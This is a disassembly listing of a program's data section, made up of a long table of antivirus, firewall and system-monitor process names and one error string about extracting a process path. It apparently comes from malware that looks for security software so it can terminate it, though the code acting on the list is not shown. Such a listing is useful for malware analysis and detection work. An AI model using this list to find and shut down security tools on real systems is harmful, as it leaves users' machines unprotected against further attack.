aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .data:0042B9B0o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .data:0042B9ACo
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .data:0042B9A8o
		align 4
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .data:0042B9A4o
		align 10h
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .data:0042B9A0o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .data:0042B99Co
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .data:0042B998o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:0042B994o
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .data:0042B990o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .data:0042B98Co
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .data:0042B988o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:0042B984o
		align 10h
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:0042B980o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .data:0042B97Co
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .data:0042B978o
		align 4
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .data:0042B974o
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .data:0042B970o
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .data:0042B96Co
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .data:0042B968o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .data:0042B964o
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .data:0042B960o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .data:0042B95Co
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .data:0042B958o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .data:0042B954o
		align 10h
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .data:0042B950o
		align 10h
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .data:0042B94Co
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .data:0042B948o
		align 4
aMsconfig_exe_0	db 'MSCONFIG.EXE',0     ; DATA XREF: .data:0042B944o
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .data:0042B940o
		align 4
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .data:0042B93Co
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .data:0042B938o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .data:0042B934o
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .data:0042B930o
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .data:0042B92Co
		align 10h
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .data:0042B928o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .data:0042B924o
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .data:0042B920o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .data:0042B91Co
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .data:0042B918o
		align 4
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .data:0042B914o
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .data:0042B910o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .data:0042B90Co
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .data:0042B908o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .data:0042B904o
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .data:0042B900o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .data:0042B8FCo
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .data:0042B8F8o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0042B8F4o
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .data:0042B8F0o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .data:0042B8ECo
		align 4
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .data:0042B8E8o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .data:0042B8E4o
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .data:0042B8E0o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .data:0042B8D8o
					; .data:0042B8DCo
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .data:0042B8D4o
		align 4
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .data:0042B8D0o
		align 4
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .data:0042B8CCo
		align 4
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .data:0042B8C8o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .data:0042B8C4o
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .data:0042B8C0o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .data:0042B8BCo
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .data:0042B8B8o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .data:0042B8B4o
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .data:0042B8ACo
					; .data:0042B8B0o
		align 10h
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .data:0042B8A8o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .data:0042B8A4o
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .data:0042B8A0o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:0042B89Co
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .data:0042B898o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .data:0042B894o
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .data:0042B890o
		align 4
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .data:0042B88Co
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .data:0042B888o
		align 10h
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .data:0042B884o
		align 10h
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .data:0042B880o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .data:0042B87Co
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .data:0042B878o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:0042B874o
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .data:0042B870o
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042B86Co
		align 10h
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042B868o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:0042B864o
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .data:0042B860o
		align 4
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .data:0042B85Co
		align 10h
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .data:0042B858o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0042B854o
		align 10h
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:0042B850o
		align 4
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .data:0042B84Co
		align 10h
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .data:0042B848o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .data:0042B844o
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .data:0042B840o
		align 4
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .data:0042B83Co
		align 10h
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .data:0042B838o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .data:0042B834o
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .data:0042B830o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .data:0042B82Co
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .data:0042B828o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .data:0042B824o
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .data:0042B820o
		align 4
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .data:0042B81Co
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .data:0042B818o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .data:0042B814o
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .data:0042B810o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .data:0042B80Co
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .data:0042B808o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .data:0042B804o
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .data:0042B800o
		align 10h
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .data:0042B7FCo
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .data:0042B7F8o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .data:0042B7F0o
					; .data:0042B7F4o
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .data:0042B7ECo
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .data:0042B7E8o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .data:0042B7E4o
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .data:0042B7E0o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .data:0042B7DCo
		align 10h
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .data:0042B7D8o
		align 10h
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .data:0042B7D4o
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .data:0042B7D0o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .data:0042B7CCo
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .data:0042B7C8o
		align 10h
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .data:0042B7C4o
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .data:0042B7C0o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .data:0042B7BCo
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .data:0042B7B8o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .data:0042B7B4o
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .data:0042B7B0o
		align 10h
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .data:0042B7ACo
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:0042B7A8o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .data:0042B7A4o
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .data:0042B7A0o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .data:0042B79Co
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .data:0042B798o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .data:0042B794o
		align 10h
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .data:0042B790o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .data:0042B78Co
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .data:0042B788o
		align 4
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .data:0042B784o
		align 10h
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .data:0042B780o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .data:0042B77Co
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .data:0042B778o
		align 4
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:0042B774o
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:0042B770o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .data:0042B76Co
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .data:0042B768o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .data:0042B764o
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .data:0042B760o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .data:0042B75Co
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:0042B758o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .data:0042B754o
		align 4
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .data:0042B750o
		align 10h
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:0042B74Co
		align 4
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .data:0042B748o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .data:0042B744o
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .data:0042B740o
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .data:0042B73Co
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .data:0042B738o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .data:0042B734o
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .data:0042B730o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .data:0042B72Co
		align 10h
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .data:0042B728o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .data:0042B724o
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .data:0042B720o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .data:0042B71Co
		align 4
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .data:0042B718o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0042B714o
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .data:0042B710o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .data:0042B70Co
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .data:0042B708o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .data:0042B704o
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .data:0042B700o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .data:0042B6FCo
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .data:0042B6F8o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .data:0042B6F4o
		align 4
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .data:0042B6F0o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .data:0042B6ECo
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .data:0042B6E8o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .data:0042B6E4o
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .data:0042B6E0o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .data:0042B6DCo
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .data:0042B6D8o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .data:0042B6D4o
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .data:0042B6D0o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .data:0042B6CCo
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .data:0042B6C8o
		align 4
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .data:0042B6C4o
		align 4
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .data:0042B6C0o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .data:0042B6BCo
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .data:0042B6B8o
		align 4
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .data:0042B6B4o
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .data:0042B6B0o
		align 10h
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .data:0042B6ACo
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .data:0042B6A8o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .data:0042B6A4o
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .data:0042B6A0o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .data:0042B69Co
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .data:0042B698o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .data:0042B690o
		align 4
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .data:0042B68Co
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .data:0042B688o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .data:0042B684o
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .data:0042B680o
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .data:0042B67Co
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .data:0042B678o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .data:0042B674o
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:0042B670o
		align 4
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .data:0042B66Co
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .data:0042B668o
		align 10h
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .data:0042B664o
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .data:0042B660o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .data:0042B65Co
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .data:0042B658o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .data:0042B654o
		align 10h
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .data:0042B650o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .data:0042B64Co
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .data:0042B648o
					; .data:0042B694o
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .data:0042B644o
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .data:0042B640o
		align 4
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .data:0042B638o
					; .data:0042B63Co
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .data:0042B634o
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .data:0042B630o
		align 10h
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .data:0042B62Co
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .data:0042B628o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .data:0042B624o
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .data:0042B620o
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .data:0042B61Co
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .data:0042B618o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .data:0042B614o
		align 10h
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .data:0042B610o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .data:0042B60Co
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .data:0042B608o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .data:0042B604o
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .data:0042B600o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .data:0042B5FCo
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .data:0042B5F8o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .data:0042B5F4o
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .data:0042B5F0o
		align 4
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .data:0042B5ECo
		align 10h
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:0042B5E8o
		align 4
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .data:0042B5E4o
		align 10h
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .data:0042B5E0o
		align 10h
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .data:0042B5DCo
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .data:0042B5D8o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .data:0042B5D4o
		align 4
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0042B5D0o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .data:0042B5CCo
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .data:0042B5C8o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .data:0042B5C0o
					; .data:0042B5C4o
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:0042B5BCo
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:0042B5B8o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .data:0042B5B4o
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .data:0042B5ACo
					; .data:0042B5B0o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .data:0042B5A8o
		align 4
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .data:0042B5A4o
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .data:0042B5A0o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .data:0042B59Co
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .data:0042B598o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .data:0042B590o
					; .data:0042B594o
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .data:0042B58Co
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .data:0042B588o
		align 10h
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .data:0042B584o
		align 10h
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .data:0042B580o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .data:0042B57Co
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .data:0042B578o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .data:0042B574o
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .data:0042B570o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .data:0042B56Co
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .data:0042B568o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .data:0042B564o
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .data:0042B560o
		align 4
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .data:0042B55Co
		align 10h
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .data:0042B558o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .data:0042B554o
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .data:0042B550o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .data:0042B54Co
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .data:0042B548o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .data:0042B544o
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .data:0042B540o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .data:0042B53Co
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .data:0042B538o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .data:0042B534o
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .data:0042B530o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .data:0042B52Co
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .data:0042B528o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .data:0042B524o
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .data:0042B51Co
					; .data:0042B520o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .data:0042B518o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .data:0042B514o
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .data:0042B510o
		align 10h
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .data:0042B50Co
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .data:0042B508o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .data:0042B504o
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .data:0042B500o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .data:0042B4FCo
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .data:0042B4F8o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .data:0042B4F4o
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .data:0042B4F0o
		align 10h
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .data:0042B4ECo
		align 10h
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .data:0042B4E8o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .data:0042B4E4o
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .data:0042B4E0o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .data:0042B4DCo
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .data:0042B4D8o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .data:0042B4D4o
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .data:off_42B4D0o
		align 4
aCannotExtractP	db 'Cannot extract process path for %s',0Ah,0 ; DATA XREF: sub_408206+2D7o
